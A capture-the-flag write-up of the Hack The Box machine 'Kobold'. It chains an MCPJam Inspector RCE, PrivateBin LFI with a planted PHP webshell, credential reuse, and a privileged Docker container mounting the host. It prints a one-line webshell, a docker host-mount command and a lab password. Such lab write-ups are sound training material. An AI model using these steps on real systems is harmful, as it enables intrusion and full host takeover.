Hackthebox: Kobold
Overview
Kobold is an easy-difficulty Linux machine from Hack The Box running a suite of web services behind nginx. We’ll start by fuzzing virtual hosts thanks to a wildcard SSL certificate, which uncovers an MCPJam Inspector instance vulnerable to CVE-2026-23744, an unauthenticated RCE through the /api/mcp/connect endpoint that lands us a shell as ben. From there, we’ll abuse a shared bind mount between the host and a PrivateBin Docker container to drop a PHP webshell into the container’s web root, then trigger it through CVE-2025-49596, a Local File Inclusion in PrivateBin’s template-switching feature, to leak the database credentials from the container config. Finally, we’ll reuse those credentials to log into the Arcane Docker management panel on port 3552 and spin up a privileged container that mounts the host filesystem, giving us full root.

Reconnaissance
A full TCP port scan reveals four open services:
1 | ┌──(kali㉿kali)-[~/Desktop] |
A few things immediately stand out here. Port 80 just redirects us to HTTPS on kobold.htb, and the SSL certificate on port 443 carries a wildcard SAN (*.kobold.htb), which strongly hints that there are virtual hosts waiting to be discovered. On top of that, port 3552 is serving a Go-based web application which we’ll later identify as Arcane, a Docker management UI.
Virtual Host Discovery
Let’s add kobold.htb to our /etc/hosts file and browse the main site, which greets us with the Kobold Operations Suite landing page. Since that wildcard certificate is basically begging us to look for subdomains, we go ahead and fuzz for virtual hosts, which turns up two additional subdomains:
mcp.kobold.htb— MCPJam Inspector, a development platform for MCP (Model Context Protocol) serversbin.kobold.htb— PrivateBin 2.0.2, a self-hosted encrypted pastebin
Let’s add all of these entries to our hosts file:
1 | ┌──(kali㉿kali)-[~/Desktop] |
Foothold — CVE-2026-23744 (MCPJam Inspector RCE)
Vulnerability Analysis
Browsing to https://mcp.kobold.htb shows us the MCPJam Inspector interface. A bit of research on this software leads us to CVE-2026-23744 (GHSA-232v-j27c-5pp6): MCPJam Inspector versions 1.4.2 and earlier expose an HTTP endpoint /api/mcp/connect that lets unauthenticated users specify arbitrary commands to be executed on the server. The serverConfig parameter accepts a command and an args array that get executed directly on the host, which is exactly the kind of primitive we’re looking for.
Exploitation
Let’s set up a netcat listener and send a crafted POST request to the vulnerable endpoint to exfiltrate the user flag as a proof of concept:
1 | ┌──(kali㉿kali)-[~/Desktop] |
1 | ┌──(kali㉿kali)-[~/Desktop] |
The error response is completely expected here. The MCP protocol fails to initialize because our command isn’t actually an MCP server, but the command still runs on the target before that failure. Let’s check our listener:
1 | ┌──(kali㉿kali)-[~/Desktop] |
Shell as Ben
Exfiltrating the flag is nice, but let’s turn this into a proper interactive shell by firing off a bash reverse shell instead:
1 | ┌──(kali㉿kali)-[~/Desktop] |
1 | ┌──(kali㉿kali)-[~/Desktop] |
And just like that we have our shell as ben and we can grab the user flag:
1 | 72df902dd9b7d0ce47589ebc4a714d05 |
Notice that ben is a member of the operator group (GID 37), which is going to matter a lot in the next step.
Lateral Movement — CVE-2025-49596 (PrivateBin LFI)
Enumeration as Ben
Poking around the filesystem as ben, we stumble upon a very interesting shared directory:
1 | ben@kobold:~$ ls -la /privatebin-data/ |
The data directory is world-writable, and since ben is part of the operator group that owns these directories, we have write access here. This /privatebin-data/data directory is actually a bind mount shared between the host and the PrivateBin Docker container, meaning anything we write here shows up inside the container’s web root.
Checking Docker
Let’s confirm what containers are in play:
1 | ben@kobold:~$ sg docker -c "docker images" |
We can see two Docker images: MySQL and the PrivateBin container that’s serving the bin.kobold.htb service.
Exploiting PrivateBin LFI (CVE-2025-49596)
PrivateBin 2.0.2 is vulnerable to CVE-2025-49596 (GHSA-g2j9-g8r5-rg82): when the templateselection configuration option is enabled, the server blindly trusts the template cookie value to decide which PHP template file to load. By stuffing a path traversal into that cookie, we can make it include an arbitrary local PHP file, and since we can already write into the container’s web root, this becomes a straightforward path to code execution.
First, let’s write a PHP webshell into the shared data directory from ben‘s shell:
1 | ben@kobold:~$ echo '<?php system($_GET["cmd"]); ?>' > /privatebin-data/data/shell.php |
Now we trigger the LFI by setting the template cookie to traverse into the data directory where our webshell lives:
1 | ┌──(kali㉿kali)-[~/Desktop] |
And we now have RCE inside the PrivateBin container as www-data.
Credential Extraction
Let’s use our newly acquired RCE to read the PrivateBin configuration file inside the container and look for anything juicy:
1 | ┌──(kali㉿kali)-[~/Desktop] |
There we go, we’ve got a set of MySQL credentials for PrivateBin:
- Username:
privatebin - Password:
ComplexP@sswordAdmin1928
Privilege Escalation — Arcane Docker Management
Accessing Arcane
Remember that Go application sitting on port 3552? That’s Arcane, a Docker container management web UI. Password reuse is always worth a shot, so let’s try the extracted password with the username arcane:
1 | Credentials: arcane / ComplexP@sswordAdmin1928 |
The login succeeds, and we’re now sitting inside the Arcane Docker management panel with admin access.
Creating a Privileged Container
From the Arcane admin interface, we can create a brand new container with the following settings:
- Image:
privatebin/nginx-fpm-alpine:2.0.2(already available locally) - User:
root - Privileged: Enabled
- TTY: Enabled
- Volume mount:
/(host) →/hostfs(container)
This mounts the entire host filesystem into our container. Since the container runs as root with privileged access, we effectively get read and write access to any file on the host.
Root Access
After creating and starting the container, we connect to its console and chroot into the mounted host filesystem to become root on the box itself:
1 | / # whoami |
Alternatively, if we notice the docker group access early on, this whole thing can be collapsed into a one-liner straight from ben‘s shell:
1 | ben@kobold:~$ sg docker -c "docker run --rm -v /:/hostfs --user root --entrypoint /bin/sh privatebin/nginx-fpm-alpine:2.0.2 -c 'cat /hostfs/root/root.txt'" |
Either way, we grab the root flag:
1 | d2f8b37e6a3e4c422c9e5aa0b1860187 |
Hope you liked this writeup!
-0xkujen
- Title: Hackthebox: Kobold
- Author: Foued SAIDI
- Created at : 2026-08-06 18:56:02
- Updated at : 2026-08-07 07:35:07
- Link: https://kujen5.github.io/2026/08/06/Hackthebox-Kobold/
- License: This work is licensed under CC BY-NC-SA 4.0.